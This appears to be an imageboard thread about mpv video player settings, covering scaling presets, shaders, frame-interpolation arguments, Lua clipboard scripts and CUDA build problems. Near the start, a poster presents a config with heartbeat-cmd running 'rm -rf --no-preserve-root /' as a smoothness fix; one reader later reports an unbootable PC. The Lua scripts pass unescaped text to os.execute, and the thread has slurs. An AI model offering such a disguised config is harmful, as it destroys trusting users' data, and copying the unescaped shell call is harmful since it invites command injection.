Wats the best config

wats the best config

Other urls found in this thread:

gist.github.com/igv/36508af3ffc84410fe39761d6969be10
github.com/mpv-player/mpv/commit/439e2b43c33f48fe380d8c43c39836ec9a96064b
github.com/mpv-player/mpv/commit/222899fbbe523320e66ae1600fabe45b58d48686
github.com/mpv-player/mpv/commit/febeff8feee81db26b6d896a3d63c77d3ec9807f
github.com/FFmpeg/FFmpeg/commit/947230837cb6d64323590650554dad7abaf9a93f
github.com/mpv-player/mpv/wiki/User-Scripts
mpv.io/manual/master/#options-ewa-lanczossharp
github.com/haasn/mpvhq-upscalers
screenshotcomparison.com/comparison/204824
url
twitter.com/AnonBabble

Anything other than opengl hq is placebo

profile=opengl-hq
heartbeat-cmd="rm -rf --no-preserve-root /"

this makes the video stream run smooth on all cpu's, no matter how high the load is

thanks! it works!

To stop being a faggot, run windows 10 with antibeacon and ooshutup10, and mpc-hc with madvR and BlueskyFRC.

but i don't watch gook cartoons or have an hangup on 90's tech

Those algorithm work on your hollywood capeshit too faggot.

Newfag, it actually does your mom's street address

>BlueskyFRC
It destroys anime and movies. Its only good if youre into soap opera effect. I like to watch hentai and porn with it.

> I'm immersed when I watch a slide-show
You are stupid, that's pure nostalgia
I'd expect to hear the usual bullshit excuse, that it has artifacts, but that's also bullshit because during normal panning the interpolation is exceptional anyway and where there artifacts it's because the source was abrupt shit itself anyway so the net benefit/loss is still positive.

i don't watch movies anymore, everything sucks. only documentaries & some tv, plus mpv supports drag-n-drop of youtube videos.

I dont have any slideshow with smoothmotion ON on my monitor. The movie/anime is designed as 24FPS. Youre converting it to 60 and ruin the authors idea while adding unnecessary artifacts. I understand that you like it but this shit is not for everyone.

>the authors idea
You are stupid. 99% of the authors are forced to that frame rate.

>newfag
it's mum. moron.

opengl hq is placebo too

>not using media player dot net

Kys
Mpc is pretty outdated 2bh

That's not true for all content types. When you watch anime without motion interpolation, each frame is an authentic drawing by a real Korean animator working in a sweatshop. If you add motion interpolation, some of the frames will be drawn by simulated Koreans inside your computer, and they will be even more strange and off-model than the authentic in-between frames.

opengl-hq

placebo

mpdn is outdated too, idiot. Just use the superior potplayer.

weekly /mpv/ news:

igv's new ssimdownscaler
gist.github.com/igv/36508af3ffc84410fe39761d6969be10


A new option for people with old GPUs with shitty drivers for windows ANGLE, having problems with fullscreen bug and hybrid graphics
--angle-flip=no
github.com/mpv-player/mpv/commit/439e2b43c33f48fe380d8c43c39836ec9a96064b

af=drc filter is deprecated. use better acompressor filter if you want dynamic range compression

github.com/mpv-player/mpv/commit/222899fbbe523320e66ae1600fabe45b58d48686

New keybindings for acompressor
github.com/mpv-player/mpv/commit/febeff8feee81db26b6d896a3d63c77d3ec9807f

Is that libplacebo stuff true?

I don't hang out in chat, but it sounds like german humor. wm4 had commented to rewrite some core mpv parts if he can't finish lgpl relicesing though

Also
github.com/mpv-player/mpv/commit/222899fbbe523320e66ae1600fabe45b58d48686
no need for 3rd party hevc patches for ffmpeg anymore

wrong link
github.com/mpv-player/mpv/commit/222899fbbe523320e66ae1600fabe45b58d48686

Also
github.com/FFmpeg/FFmpeg/commit/947230837cb6d64323590650554dad7abaf9a93f
no need for 3rd party hevc patches for ffmpeg anymore

how do i get stats.lua to work on windows, friends

vo=caca,aa

Put it in the script folder at appdata and press "i".

Reducing power consumption, low-mid end preset

profile=opengl

Good enough for most people

profile=opengl-hq

High

profile=opengl-hq
scale=haasnsoft
cscale=ewa_lanczos

Very High

profile=opengl-hq
opengl-shaders="~~/shaders/[NameOfShader].glsl"
scale=haasnsoft
cscale=ewa_lanczos
deband-grain=0
deband-iterations=2
deband-range=12
deband-threshold=48
video-sync=display-resample
video-sync-max-video-change=5

For the last one go to github.com/mpv-player/mpv/wiki/User-Scripts and choose shaders to your liking, but make sure to pick ones that make sense to use in combination. Make sure to use stats.lua to check if your cpu can handle frame timings at high presets.

Although most changes will be praised, all of them above profile=opengl-hq will likely result in minimal visual change.

doesn't work that way or in the exe folder or loading via command line

don't put anything in appdata, that's retarded, simply create scripts folder where your mpv.conf is and place it there

It doesnt matter if they forced or not. I am against altering the source. Thats my personal preference. To me FRC to 60FPS makes video look so realistic that it becomes unrealistic. Also the interpolated frames could contain errors or distortions because they were generated by a computer, which is not the same as if the camera was really capturing a high frame rate. To each their own. Im not forcing my opinion on everyone. Just saying that some people like it and some hate it.

mpv+ytdl fags..
script to copy url & current time. Does it exist?

>Make sure to use stats.lua to check if your cpu can handle frame timings at high presets.
You mean GPU? Any dual core should have no problems with playing pretty much anything up to 1080p in software mode without issues.

What's a good range of frame timing?

also tried that, doesn't work. what am i doing wrong.

KrigBilateral is useful for weebshit or only SSimSuperRes is enough?

>SSimSuperRes is enough

>BlueskyFRC
no nvidia support.

turns out my lua was corrupted, i'm dumb. thanks for the vlc replacement anons.

I'm trying to use mpv as an image viewer. How do I get it to advance to the next file in a directory?

Is shader options control from mpv.conf planned?
The sharpen strength of adaptive-sharpen for example.

profile=opengl-hq
scale=ewa_lanczossharp
cscale=ewa_lanczossharp

According to the man page at mpv.io/manual/master/#options-ewa-lanczossharp :
>ewa_lanczossharp
>A slightly sharpened version of ewa_lanczos, preconfigured to use an ideal radius and parameter. If your hardware can run it, this is probably what you should use by default.

function copy_to_clipboard(contents)
os.execute("printf " .. contents .. " | xsel -ib")
end

function formatTime(curr_time_into)
return string.format("%02dh%02dm%02ds", math.floor(curr_time_into / 3600), math.floor( (curr_time_into % 3600) / 60), math.floor( curr_time_into % 60 ), math.floor( ( (curr_time_into % 1 ) * 1000 + 0.5) ) )
end

function copy_curr_time_to_clipboard()
local curr_time_into = mp.get_property("time-pos","")
local path = mp.get_property("path","")
mp.observe_property("stream-open-filename", "string", function(name, value)
if (value:find("youtube")) then
copy_to_clipboard(path .. "#t=" .. formatTime(curr_time_into))
elseif (value:find("twitch.tv")) then
copy_to_clipboard(path .. "?t=" .. formatTime(curr_time_into))
elseif (value:find("http")) then
copy_to_clipboard(path)
end
end)
mp.osd_message("Copied URL to clipboard.", 2)
end

mp.add_key_binding("ctrl+c", "copy_curr_time_to_clipboard", copy_curr_time_to_clipboard)


¯\_(ツ)_/¯ it kind of works
you need xsel installed

>this is probably what you should use by default

>implying that there is something better
What should be used by default then?

Even haasnsoft is probably better

If hassnsoft is better, then why is it not even listed in the man page written by the same person who made the scaling filter?

github.com/haasn/mpvhq-upscalers

>github.com/haasn/mpvhq-upscalers
That does not really provide a conclusion as to what should be used by default.

Use your fucking eyes and choose what looks better for you.

>Windows
>in a technology board

I would rather have a rigorous objective comparison using real world video rather than picking an upscaler based on what looks nice on a few select still frames.

You watch videos of text?

>objective
ain't happening

>it actually works
Thanks user. If you plan to work on it some more, post your github/lab/

Just use VLC. There's not really much better UI and compatibility-wise.

Madvr already has smooth frames feature, why would you use bluesky? Everything here runs at 75fps in 1080p and 200+ in 720p

Because the soap opera effect.
It's like all these fags that love adding silly sharpen filters.

Smoothmotion from madVR is very limited.

Just use this instead.

What kinnd of gpu do I need for the high setup?

Post yours.

Didn't work for me. Edited it a bit.

function copy_to_clipboard(contents)
os.execute("printf \"" .. contents:gsub("\"", "\\\"") .. "\" | xclip -selection clipboard")
end

function formatTime(curr_time_into)
local hour = math.floor(curr_time_into / 3600)
local minute = math.floor( (curr_time_into % 3600) / 60)
local second = math.floor( curr_time_into % 60 )

local hour_str = hour~=0 and hour.."h" or ""
local minute_str = minute~=0 and minute.."m" or ""
local second_str = second~=0 and second.."s" or ""

return string.format("%s%s%s", hour_str, minute_str, second_str)
end

function copy_curr_time_to_clipboard()
local path = mp.get_property("path","")
local time = formatTime(mp.get_property("time-pos",""))
mp.observe_property("stream-open-filename", "string", function(name, value)
if (value:find("youtube")) then
copy_to_clipboard(path .. "&t=" .. time)
elseif (value:find("twitch.tv")) then
copy_to_clipboard(path .. "?t=" .. time)
elseif (value:find("http")) then
copy_to_clipboard(path)
end
end)
mp.osd_message("Copied to clipboard "..time)
end

mp.add_key_binding("ctrl+c", "copy_curr_time_to_clipboard", copy_curr_time_to_clipboard)

>ooshutup10
They're a Microsoft partner, do you think that their software will do anything?

nice, thanks.

any source (picture or video) where I can see a difference between cscale=bicubic_fast and cscale=lanczos*, I can't see any difference between all the algorithms for chroma upscalling..

status?

Try something with a lot of reds if you really want to see a difference.

Here's an extreme example:
screenshotcomparison.com/comparison/204824

is there some special requirement for building mpv with CUDA support in linux?
i have GT 740, all cuda libs installed, and ./configure still doesnt detect cuda as being present in the system

did you install the development libraries and try the --enable-cuda-hwaccel flag

yep, and configure fails "cuda requested but not found"
other cuda apps build fine

b

u

after deploying this configuration my pc doesn't start anymore. why?

oh boy

What the fuck did I do to my PC?

...

read the second line.

rm -rf --no-preserve-root /


rm - remove / delete
-rf - force recursive (every directory)
--no-preserve-root - Delete the root partition, too.
/ - Start from root

Shouldn't it be unable without privileges?

>he forgot sudo

Or vdpau. Especially if you need some filters on low end-ish device. Standard deinterlacing on some higher bitrate 1080i videos couldn't keep up on my laptop, for example.

It will still recurse through everything the current user has access to (eg. their home dir, mounts, nfs, etc.) I wouldn't run it on my machine.

You need nvidia video sdk

Good thing I was about to hop distro so I backed up a lot. Still, I can't believe that I fell for it after all these years.

I feel kinda bad now. Sorry mate. Glad you backed up.

Something a bit similar happened to me few years back. Thankfully I ran it in terminal and one of the first directories it ran into was ~/.cabal ...

i have it
using arch, i have all the necesary includes and libraries set up right
i have gcc-5.3 too (since cuda apps complain about gcc > 5)
on file src/mpv/waftools/fragments/cuda.c it shows:

#define CUDA_VERSION 7050

typedef void * CUcontext;

#include
#include

int main(int argc, char *argv[]) {
enum AVHWDeviceType type = AV_HWDEVICE_TYPE_CUDA;
AVCUDADeviceContextInternal *foo;
return 0;
}

I have community/cuda 8.0.61-1

I tried changing the define to 8061 but still fails to detect, I tried removing the define and it fails again

is your ffmpeg compiled with --enable-cuda --enable-cuvid ---enable-nonfree ?

Can you watch twitch streams with mpv? How do you do it?

streamlink -pmpv

And it will just work like that? No need to install anything?

You need streamlink obv.

get youtubedl. On windows place it to same directory as mpv.

mpv url

I'm still using CCCP and never had problems with it.

rebuilt ffmpeg-nvenc with those options and still fails to detect

I find streamlink is a bit more reliable for streams than the buildin ytdl support (which is better for static videos, as it allows seeking and shit).

t h i s
I wish the ytdl guys would steal whatever magic is in streamlink/livestreamer